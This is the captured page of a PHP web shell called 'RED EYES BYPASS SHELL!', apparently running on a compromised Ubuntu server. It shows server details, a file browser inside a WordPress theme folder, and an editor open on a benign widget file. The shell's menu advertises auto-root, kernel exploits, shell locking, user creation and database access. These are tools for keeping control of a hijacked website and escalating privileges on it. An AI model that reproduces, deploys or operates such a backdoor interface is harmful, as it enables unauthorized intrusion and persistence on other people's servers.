Linux sothorn202 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
human /
wp-content /
themes /
bnm /
inc /
widgets /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
bnm-posts-widget-1.php
5.96
KB
-rwxr-xr-x
bnm-posts-widget-2.php
13.04
KB
-rwxr-xr-x
bnm-posts-widget-3.php
5.21
KB
-rwxr-xr-x
bnm-sidebar-posts-widget.php
5.81
KB
-rwxr-xr-x
bnm-tabbed-widget.php
7.65
KB
-rwxr-xr-x
widget-functions.php
608
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : bnm-posts-widget-2.php
<?php /** * Displays posts from two categories in a two block layout. */ class BNM_Posts_Widget_2 extends WP_Widget { /* Register Widget with WordPress*/ function __construct() { parent::__construct( 'bnm_posts_widget_2', // Base ID esc_html__( 'BNM: Magazine Posts (Style 2)', 'bnm' ), // Name array( 'description' => esc_html__( 'Displays posts in a two column layout.', 'bnm' ), ) // Args ); } /** * Back-end widget form. * * @see WP_Widget::form() * * @param array $instance Previously saved values from database. */ public function form( $instance ) { $defaults = array( 'title1' => esc_html__( 'Latest Posts', 'bnm' ), 'category1' => '', 'number_posts1' => 3, 'sticky_posts1' => true, 'viewall_text1' => esc_html__( 'View All', 'bnm' ), 'title2' => esc_html__( 'Latest Posts', 'bnm' ), 'category2' => '', 'number_posts2' => 3, 'sticky_posts2' => true, 'viewall_text2' => esc_html__( 'View All', 'bnm' ) ); $instance = wp_parse_args( (array) $instance, $defaults ); ?> <!-- Form for category 1 --> <h3><?php esc_html_e( 'First Set of Posts', 'bnm' ); ?></h3> <p> <label for="<?php echo $this->get_field_id( 'title1' ); ?>"><?php esc_html_e( 'Title:', 'bnm' ); ?></label> <input type="text" class="widefat" id="<?php echo $this->get_field_id( 'title1' ); ?>" name="<?php echo $this->get_field_name( 'title1' ); ?>" value="<?php echo esc_attr($instance['title1']); ?>"/> </p> <p> <label><?php esc_html_e( 'Select a post category', 'bnm' ); ?></label> <?php wp_dropdown_categories( array( 'name' => $this->get_field_name('category1'), 'selected' => $instance['category1'], 'show_option_all' => 'Show all posts' ) ); ?> </p> <p> <label for="<?php echo $this->get_field_id( 'number_posts1' ); ?>"><?php esc_html_e( 'Number of posts:', 'bnm' ); ?></label> <input type="number" id="<?php echo $this->get_field_id( 'number_posts1' ); ?>" name="<?php echo $this->get_field_name( 'number_posts1' ); ?>" value="<?php echo absint( $instance['number_posts1'] ); ?>" size="3"/> </p> <p> <input type="checkbox" <?php checked( $instance['sticky_posts1'], true ) ?> class="checkbox" id="<?php echo $this->get_field_id('sticky_posts1'); ?>" name="<?php echo $this->get_field_name('sticky_posts1'); ?>" /> <label for="<?php echo $this->get_field_id('sticky_posts1'); ?>"><?php esc_html_e( 'Ignore sticky posts.', 'bnm' ); ?></label> </p> <p> <label for="<?php echo $this->get_field_id( 'viewall_text1' ); ?>"><?php esc_html_e( 'View All Text:', 'bnm' ); ?></label> <input type="text" class="widefat" id="<?php echo $this->get_field_id( 'viewall_text1' ); ?>" name="<?php echo $this->get_field_name( 'viewall_text1' ); ?>" value="<?php echo esc_attr( $instance['viewall_text1'] ); ?>"/> </p> <hr /> <!-- Form for category 2 --> <h3><?php esc_html_e( 'Second Set of Posts', 'bnm' ); ?></h3> <p> <label for="<?php echo $this->get_field_id( 'title2' ); ?>"><?php esc_html_e( 'Title:', 'bnm' ); ?></label> <input type="text" class="widefat" id="<?php echo $this->get_field_id( 'title2' ); ?>" name="<?php echo $this->get_field_name( 'title2' ); ?>" value="<?php echo esc_attr($instance['title2']); ?>"/> </p> <p> <label><?php esc_html_e( 'Select a post category', 'bnm' ); ?></label> <?php wp_dropdown_categories( array( 'name' => $this->get_field_name('category2'), 'selected' => $instance['category2'], 'show_option_all' => 'Show all posts' ) ); ?> </p> <p> <label for="<?php echo $this->get_field_id( 'number_posts2' ); ?>"><?php esc_html_e( 'Number of posts:', 'bnm' ); ?></label> <input type="number" id="<?php echo $this->get_field_id( 'number_posts2' ); ?>" name="<?php echo $this->get_field_name( 'number_posts2' ); ?>" value="<?php echo absint( $instance['number_posts2'] ); ?>" size="3"/> </p> <p> <input type="checkbox" <?php checked( $instance['sticky_posts2'], true ) ?> class="checkbox" id="<?php echo $this->get_field_id('sticky_posts2'); ?>" name="<?php echo $this->get_field_name('sticky_posts2'); ?>" /> <label for="<?php echo $this->get_field_id('sticky_posts2'); ?>"><?php esc_html_e( 'Ignore sticky posts.', 'bnm' ); ?></label> </p> <p> <label for="<?php echo $this->get_field_id( 'viewall_text2' ); ?>"><?php esc_html_e( 'View All Text:', 'bnm' ); ?></label> <input type="text" class="widefat" id="<?php echo $this->get_field_id( 'viewall_text2' ); ?>" name="<?php echo $this->get_field_name( 'viewall_text2' ); ?>" value="<?php echo esc_attr( $instance['viewall_text2'] ); ?>"/> </p> <?php } /** * Sanitize widget form values as they are saved. * * @see WP_Widget::update() * * @param array $new_instance Values just sent to be saved. * @param array $old_instance Previously saved values from database. * * @return array Updated safe values to be saved. */ public function update( $new_instance, $old_instance ) { $instance = $old_instance; $instance[ 'title1' ] = sanitize_text_field( $new_instance[ 'title1' ] ); $instance[ 'category1' ] = absint( $new_instance[ 'category1' ] ); $instance[ 'number_posts1' ] = (int)$new_instance[ 'number_posts1' ]; $instance[ 'sticky_posts1' ] = isset( $new_instance['sticky_posts1'] ) ? (bool) $new_instance[ 'sticky_posts1' ] : false; $instance[ 'viewall_text1' ] = sanitize_text_field( $new_instance[ 'viewall_text1' ] ); $instance[ 'title2' ] = sanitize_text_field( $new_instance[ 'title2' ] ); $instance[ 'category2' ] = absint( $new_instance[ 'category2' ] ); $instance[ 'number_posts2' ] = (int)$new_instance[ 'number_posts2' ]; $instance[ 'sticky_posts2' ] = isset( $new_instance['sticky_posts2'] ) ? (bool) $new_instance[ 'sticky_posts2' ] : false; $instance[ 'viewall_text2' ] = sanitize_text_field( $new_instance[ 'viewall_text2' ] ); return $instance; } /** * Front-end display of widget. * * @see WP_Widget::widget() * * @param array $args Widget arguments. * @param array $instance Saved values from database. */ public function widget( $args, $instance ) { extract($args); $title1 = ( ! empty( $instance['title1'] ) ) ? $instance['title1'] : ''; $title1 = apply_filters( 'widget_title', $title1 , $instance, $this->id_base ); $number_posts1 = ( ! empty( $instance['number_posts1'] ) ) ? absint( $instance['number_posts1'] ) : 3; $sticky_posts1 = isset( $instance['sticky_posts1'] ) ? $instance['sticky_posts1'] : false; $category1 = isset( $instance['category1'] ) ? absint( $instance['category1'] ) : ''; $viewall_text1 = ( ! empty( $instance['viewall_text1'] ) ) ? $instance['viewall_text1'] : ''; $title2 = ( ! empty( $instance['title2'] ) ) ? $instance['title2'] : ''; $title2 = apply_filters( 'widget_title', $title2 , $instance, $this->id_base ); $number_posts2 = ( ! empty( $instance['number_posts2'] ) ) ? absint( $instance['number_posts2'] ) : 3; $sticky_posts2 = isset( $instance['sticky_posts2'] ) ? $instance['sticky_posts2'] : false; $category2 = isset( $instance['category2'] ) ? absint( $instance['category2'] ) : ''; $viewall_text2 = ( ! empty( $instance['viewall_text2'] ) ) ? $instance['viewall_text2'] : ''; // Latest Posts 1 $latest_posts1 = new WP_Query( array( 'cat' => $category1, 'posts_per_page' => $number_posts1, 'post_status' => 'publish', 'ignore_sticky_posts' => $sticky_posts1, ) ); // Latest Posts 2 $latest_posts2 = new WP_Query( array( 'cat' => $category2, 'posts_per_page' => $number_posts2, 'post_status' => 'publish', 'ignore_sticky_posts' => $sticky_posts2, ) ); echo $before_widget; ?> <div class="bnm-pws-2"> <!-- Category 1 --> <div class="bnm-pws2-left"> <div class="bnm-widget-header"> <?php if ( $title1 ) { echo $before_title . $title1 . $after_title; } bnm_viewall_link( $category1, $viewall_text1 ); ?> </div> <?php $bnmp_count = 1; ?> <?php if ( $latest_posts1 -> have_posts() ) : while ( $latest_posts1 -> have_posts() ) : $latest_posts1 -> the_post(); ?> <?php if( $bnmp_count == 1) { ?> <article class="bnm-pws2-lg"> <?php if ( has_post_thumbnail() ) { ?> <div class="bnm-pw-bp-thumb"> <a href="<?php the_permalink(); ?>" title="<?php the_title_attribute(); ?>"><?php the_post_thumbnail( 'bnm-archive-image' ); ?></a> </div> <?php } ?> <?php bnm_categories(); ?> <?php the_title( '<h3 class="bnmwb entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h3>' ); ?> <div class="entry-meta"> <?php bnm_entry_meta(); ?> </div> <div class="entry-summary"><?php the_excerpt(); ?></div> </article> <?php } else { ?> <article class="bnm-pw-smp"> <?php if ( has_post_thumbnail() ) { ?> <div class="bnm-pw-smp-thumb"> <a href="<?php the_permalink(); ?>" rel="bookmark" title="<?php the_title_attribute(); ?>"> <?php the_post_thumbnail( 'bnm-thumbnail' ); ?> </a> </div> <?php } ?> <div class="bnm-pw-smp-details"> <?php the_title( sprintf( '<h3 class="bnmpws-sm entry-title"><a href="%s" rel="bookmark">', esc_url( get_permalink() ) ), '</a></h3>' ); ?> <div class="entry-meta"><?php echo bnm_posted_on(); ?></div> </div> </article> <?php } ?> <?php $bnmp_count++ ?> <?php endwhile; ?> <?php wp_reset_postdata(); ?> <?php endif; ?> </div><!-- .bnm-pws2-left --> <!-- Category 2 --> <div class="bnm-pws2-right"> <div class="bnm-widget-header"> <?php if ( $title2 ) { echo $before_title . $title2 . $after_title; } bnm_viewall_link( $category2, $viewall_text2 ); ?> </div> <?php $bnmp_count = 1 ?> <?php if ( $latest_posts2 -> have_posts() ) : while ( $latest_posts2 -> have_posts() ) : $latest_posts2 -> the_post(); ?> <?php if( $bnmp_count == 1 ) { ?> <article class="bnm-pws2-lg"> <?php if ( has_post_thumbnail() ) { ?> <div class="bnm-pw-bp-thumb"> <a href="<?php the_permalink(); ?>" title="<?php the_title_attribute(); ?>"><?php the_post_thumbnail( 'bnm-archive-image' ); ?></a> </div> <?php } ?> <?php bnm_categories(); ?> <?php the_title( '<h3 class="bnmwb entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h3>' ); ?> <div class="entry-meta"> <?php bnm_entry_meta(); ?> </div> <div class="entry-summary"><?php the_excerpt(); ?></div> </article> <?php } else { ?> <article class="bnm-pw-smp"> <?php if ( has_post_thumbnail() ) { ?> <div class="bnm-pw-smp-thumb"> <a href="<?php the_permalink(); ?>" rel="bookmark" title="<?php the_title_attribute(); ?>"> <?php the_post_thumbnail( 'bnm-thumbnail' ); ?> </a> </div> <?php } ?> <div class="bnm-pw-smp-details"> <?php the_title( sprintf( '<h3 class="bnmpws-sm entry-title"><a href="%s" rel="bookmark">', esc_url( get_permalink() ) ), '</a></h3>' ); ?> <div class="entry-meta"><?php echo bnm_posted_on(); ?></div> </div> </article> <?php } ?> <?php $bnmp_count++ ?> <?php endwhile; ?> <?php wp_reset_postdata(); ?> <?php endif; ?> </div><!--.bnm-pws2-right--> </div><!-- .bnm-pws-2 --> <?php echo $after_widget; } } // register BNM_Posts_Widget_2 function bnm_register_posts_widget_2() { register_widget( 'BNM_Posts_Widget_2' ); } add_action( 'widgets_init', 'bnm_register_posts_widget_2' );
Close